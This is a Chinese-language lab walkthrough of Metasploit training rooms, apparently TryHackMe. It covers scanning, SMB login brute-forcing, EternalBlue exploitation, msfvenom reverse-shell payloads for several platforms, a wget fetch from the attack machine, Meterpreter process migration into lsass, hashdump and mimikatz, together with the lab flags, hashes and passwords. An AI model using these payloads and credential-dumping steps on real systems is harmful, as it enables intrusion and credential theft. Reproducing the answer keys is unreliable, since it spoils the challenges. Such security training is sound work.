Metasploit
Metasploit: Introduction
msfconsole
#主命令列介面
history
#檢視之前輸入的命令
RHOSTS
#目標靶機地址
use
#命令後跟編號來選擇要使用的模組
show options
#檢視
back
#離開
setg/unsetg
#全域性變數
Metasploit: Exploitation
Port Scanning
使用以下命令可以檢視許多關於掃描目標系統和網路上的開放埠的模板
search portscan
msf6 > search portscan
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/wordpress_pingback_access normal No Wordpress Pingback Locator
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
3 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
4 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
7 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner
Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner
1.How many ports are open on the target system?
我們使用nmap進行SYN掃描
nmap -sS --min-rate 10000 -Pn 10.10.217.98
ANSWER:5
2.Using the relevant scanner, what NetBIOS name can you see?
我們使用一下命令來查詢有關NetBIOS相關的模組
search NetBIOS
我們使用第二個
use 2
設定目標靶機
set RHOSTS 10.10.217.98
執行模組
run
ANSWER: ACME IT SUPPORT
3.What is running on port 8000?
我們之前掃描到8000埠是一個http服務,我們使用這個模組進行掃描,同時設定靶機ip和埠
ANSWER:webfs/1.21
What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task
檢視密碼我們使用smb_login這個模組進行操作,然後show options檢視我們需要設定的內容
ANSWER: leo1234
The Metasploit Database
Metasploit具有資料庫功能,我們首先需要啟動PostgreSQL,使用以下命令
systemctl start postgresql
然後我們使用以下命令來初始化Metasploit 資料庫
msfdb init
就可以檢視資料庫狀態了
db_status
使用以下指令可以建立新的工作區
workspace -a name
Vulnerability Scanning
1.Who wrote the module that allows us to check SMTP servers for open relay?
首先我們search SMTP,查詢到有效負載scanner/smtp/smtp_relay
使用info檢視具體資訊
ANSWER: Campbell Murray
Exploitation
可以使用search
命令搜尋漏洞利用程式,使用info
命令獲取有關漏洞利用程式的更多資訊,並使用exploit 啟動exploit
利用。
大多數漏洞利用都會有預設的預設負載,但是可以使用show payloads
命令列出可用於該特定漏洞的其他命令。
一旦決定了有效負載,就可以使用set payload
命令來做出選擇。
1.What is the content of the flag.txt file?
上文給出exploit為windows/smb/ms17_010_eternalblue和payload為generic/shell_reverse_tcp
我們search eternalblue,然後set payload
show options 一步一步設定走
最後執行exploit
成功進入
然後我們使用CTRL+Z
將其置於後臺,使用 sessions -u [session ID]
升級會話
進入session2search -f flag.txt
就可以看到檔案處於哪個目錄了
ANSWER: THM-5455554845
2.What is the NTLM hash of the password of the user "pirate"?
我們先將此會話置於後臺,search hashdump
ANSWER: 8ce9a3ebd1647fcc5e04025019f4b875
Msfvenom
Msfvenom 取代了 Msfpayload 和 Msfencode,允許我們生成有效負載
可以生成獨立的有效負載(例如Meterpreter的 Windows 可執行檔案)或獲取可用的原始格式(例如 python)。 msfvenom --list formats
命令可用於列出支援的輸出格式
與某些觀點相反,編碼器的目的並不是繞過目標系統上安裝的防病毒軟體。顧名思義,它們對有效負載進行編碼。雖然它可以有效對抗某些防病毒軟體,但使用現代混淆技術或學習方法注入 shellcode 是解決該問題的更好方法。下面的例子展示了編碼的用法(帶有-e
引數。PHP 版本的Meterpreter是採用Base64編碼的,輸出格式為raw
。
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
我們將利用 DVWA中存在的檔案上傳漏洞,漏洞利用步驟是:
1.使用 MSFvenom 生成PHP shell
2.啟動Metasploit處理程式
3.執行PHP shell
我們首先生成檔案
msfvenom -p php/reverse_php LHOST=10.21.66.31 LPORT=7777 -f raw > reverse_shell.php
再稍作修改,將php頭和尾修改好
我們將使用 Multi Handler 來接收傳入的連線。該模組可與 use exploit/multi/handler
命令。
一旦一旦一切設定完畢,我們將run
處理程式並等待傳入連線。
反彈shell後,連線將被multi/handler接收併為我們提供一個shell
Other Payloads
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
Python:
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
1.啟動附加到此任務的虛擬機器。使用者名稱是 murphy,密碼是 1q2w3e4r。您可以透過 SSH 連線或在瀏覽器中啟動這臺機器。進入終端後,輸入“sudo su”以獲取 root shell,這將使事情變得更容易。
2.建立 .elf 格式的 meterpreter 有效負載
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.21.66.31 LPORT=7777 -f elf > rev_shell.elf
3.將其傳輸到目標機器(您可以使用 python3 -m http.server 9000 命令在攻擊機器上啟動 Python Web 伺服器,並使用 wget http://ATTACKING_MACHINE_IP:9000/shell.elf 將其下載到目標機器) 。
4.在目標機器上獲取 meterpreter 會話。
先賦權
先在攻擊機上設定一番
然後,在目標機器上,執行rev_shell.elf檔案
然後就有回顯了
5.使用後利用模組轉儲系統上其他使用者的雜湊值。
6.其他使用者的密碼雜湊是什麼?
首先search hashdump
,選擇post/linux/gather/hashdump
ANSWER: $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0
Metasploit: Meterpreter
Introduction to Meterpreter
Meterpreter 是一個 Metasploit 有效負載,透過許多有價值的元件支援滲透測試過程。 Meterpreter 將在目標系統上執行,並充當命令和控制架構中的代理。我們將與目標作業系統和檔案進行互動,並使用 Meterpreter 的專用命令。
Meterpreter主要是防IPS和IDS檢測,但防病毒不太行
在pid中和dll檢測中較為隱蔽
meterpreter > getpid
Current pid: 1304
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
396 644 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\LogonUI.exe
416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
428 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM
548 540 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
596 540 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe
604 588 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
644 588 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe
692 596 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe
700 692 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE
716 596 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe 1276 1304 cmd.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\cmd.exe
1304 692 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1340 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
1388 548 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\conhost.exe
可以發現並不是meterpreter
C:\Windows\system32>tasklist /m /fi "pid eq 1304"
tasklist /m /fi "pid eq 1304"
Image Name PID Modules
========================= ======== ============================================
spoolsv.exe 1304 ntdll.dll, kernel32.dll, KERNELBASE.dll,
msvcrt.dll, sechost.dll, RPCRT4.dll,
USER32.dll, GDI32.dll, LPK.dll, USP10.dll,
POWRPROF.dll, SETUPAPI.dll, CFGMGR32.dll,
ADVAPI32.dll, OLEAUT32.dll, ole32.dll,
DEVOBJ.dll, DNSAPI.dll, WS2_32.dll,
NSI.dll, IMM32.DLL, MSCTF.dll,
CRYPTBASE.dll, slc.dll, RpcRtRemote.dll,
secur32.dll, SSPICLI.DLL, credssp.dll,
IPHLPAPI.DLL, WINNSI.DLL, mswsock.dll,
wshtcpip.dll, wship6.dll, rasadhlp.dll,
fwpuclnt.dll, CLBCatQ.DLL, umb.dll,
ATL.DLL, WINTRUST.dll, CRYPT32.dll,
MSASN1.dll, localspl.dll, SPOOLSS.DLL,
srvcli.dll, winspool.drv,
PrintIsolationProxy.dll, FXSMON.DLL,
tcpmon.dll, snmpapi.dll, wsnmp32.dll,
msxml6.dll, SHLWAPI.dll, usbmon.dll,
wls0wndh.dll, WSDMon.dll, wsdapi.dll,
webservices.dll, FirewallAPI.dll,
VERSION.dll, FunDisc.dll, fdPnp.dll,
winprint.dll, USERENV.dll, profapi.dll,
GPAPI.dll, dsrole.dll, win32spl.dll,
inetpp.dll, DEVRTL.dll, SPINF.dll,
CRYPTSP.dll, rsaenh.dll, WINSTA.dll,
cscapi.dll, netutils.dll, WININET.dll,
urlmon.dll, iertutil.dll, WINHTTP.dll,
webio.dll, SHELL32.dll, MPR.dll,
NETAPI32.dll, wkscli.dll, PSAPI.DLL,
WINMM.dll, dhcpcsvc6.DLL, dhcpcsvc.DLL,
apphelp.dll, NLAapi.dll, napinsp.dll,
pnrpnsp.dll, winrnr.dll
可以發現並沒有meterpreter
還值得注意的是,Meterpreter 會與攻擊者的系統建立加密(TLS)通訊通道。
Meterpreter Flavors
瞭解可用Meterpreter版本的最簡單方法是使用 msfvenom 列出它們。
我們使用了msfvenom --list payloads
命令並 grep“meterpreter”有效負載(將| grep meterpreter
新增到命令列),因此輸出僅顯示這些。
msfvenom --list payloads | grep meterpreter
決定使用哪個版本的Meterpreter主要基於三個因素:
1.目標作業系統
2.目標系統上可用的元件
3.您可以與目標系統建立的網路連線型別
Meterpreter Commands
help檢視
Post-Exploitation with Meterpreter
getuid
命令將顯示當前執行Meterpreter的使用者。這將使我們瞭解目標系統上可能的許可權級別(例如,您是像 NT AUTHORITY\SYSTEM 這樣的管理員級別使用者還是普通使用者?)
ps
命令將列出正在執行的程序。 PID列還將為我們提供將Meterpreter遷移到另一個程序所需的PID資訊。
遷移到另一個程序將有助於Meterpreter與其互動。例如,如果我們看到目標上執行著一個文書處理器(例如 word.exe、notepad.exe 等),可以遷移到它並開始捕獲使用者傳送到此程序的擊鍵。某些Meterpreter版本將提供keyscan_start
、 keyscan_stop
和keyscan_dump
命令選項,使Meterpreter充當鍵盤記錄器。遷移到另一個程序也可以幫助您獲得更穩定的Meterpreter會話。
要遷移到任何程序,需要鍵入 migrate 命令,後跟所需目標程序的PID 。
meterpreter > migrate 716
[*] Migrating from 1304 to 716...
[*] Migration completed successfully.
hashdump
命令將列出 SAM 資料庫的內容。 SAM(安全帳戶管理器)資料庫儲存 Windows 系統上的使用者密碼。這些密碼以 NTLM(新技術 LAN 管理器)格式儲存。
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
search
命令對於查詢包含潛在重要資訊的檔案非常有用。在 CTF 上下文中,這可用於快速查詢標誌或證明檔案,而在實際的滲透測試活動中,您可能需要搜尋使用者生成的檔案或可能包含密碼或帳戶資訊的配置檔案。
meterpreter > search -f flag2.txt
Found 1 result...
c:\Windows\System32\config\flag2.txt (34 bytes)
shell 命令將在目標系統上啟動常規命令列 shell。按 CTRL+Z 將返回到Meterpreter shell。
meterpreter > shell
Process 2124 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
Post-Exploitation Challenge
Meterpreter提供了幾個重要的後利用工具。
前面提到的命令,例如getsystem
和hashdump
將為許可權升級和橫向移動提供重要的槓桿和資訊。還可以使用 load 命令來利用其他工具,例如 Kiwi 甚至整個 Python 語言。
使用load
命令載入任何其他工具後,我們將在help
選單上看到新選項。下面的示例顯示了為 Kiwi 模組新增的命令(使用load kiwi
命令)。
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
您可以使用下面的憑據來模擬對SMB (伺服器訊息塊)的初始攻擊(使用exploit/windows/smb/psexec)
1.計算機名稱是什麼?
先做埠掃描
nmap -sS -vv -Pn -p- --min-rate 10000 10.10.197.10
發現他並沒有開啟22(ssh)服務埠
根據題目提示使用SMB (伺服器訊息塊)的初始攻擊(使用exploit/windows/smb/psexec)
show options
檢視需要設定的內容
進入meterpreter後,使用sysinfo
檢視詳細資訊
ANSWER: ACME-TEST
2.What is the target domain?目標域是什麼?
根據提示,我們需要使用post/windows/gather/enum_domain模組來獲取target domain
首先將meterpreter置於後臺,use post/windows/gather/enum_domain
設定會話id,set session 1
,然後run
ANSWER: FLASH
3.What is the name of the share likely created by the user?
使用者可能建立的共享的名稱是什麼?
使用post/windows/gather/enum_shares
模組來檢視
ANSWER: speedster
4.What is the NTLM hash of the jchambers user?
jchambers 使用者的 NTLM 雜湊值是什麼?
根據提示,我們需要將會話遷移到lsass.exe
程序
首先在meterpreter會話中使用ps
列出正在執行的程序
使用migrate
遷移程序
migrate 760
然後執行hashdump
ANSWER: 69596c7aa1e8daee17f8e78870e25a5c
5.What is the cleartext password of the jchambers user?
jchambers 使用者的明文密碼是什麼?
ANSWER: Trustno1
6.Where is the "secrets.txt" file located? (Full path of the file)
“secrets.txt”檔案位於哪裡? (檔案的完整路徑)
在meterpreter會話下使用以下命令查詢
search -f secrets.txt
ANSWER: c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt
7.What is the Twitter password revealed in the "secrets.txt" file?
“secrets.txt”檔案中透露的 Twitter 密碼是什麼?
直接cat
就好了
ANSWER: KDSvbsw3849
8.Where is the "realsecret.txt" file located? (Full path of the file)
“realsecret.txt”檔案位於哪裡? (檔案的完整路徑)
還是一樣的套路
ANSWER: c:\inetpub\wwwroot\realsecret.txt
9.What is the real secret?
真正的秘密是什麼?
一樣的套路
ANSWER: The Flash is the fastest man alive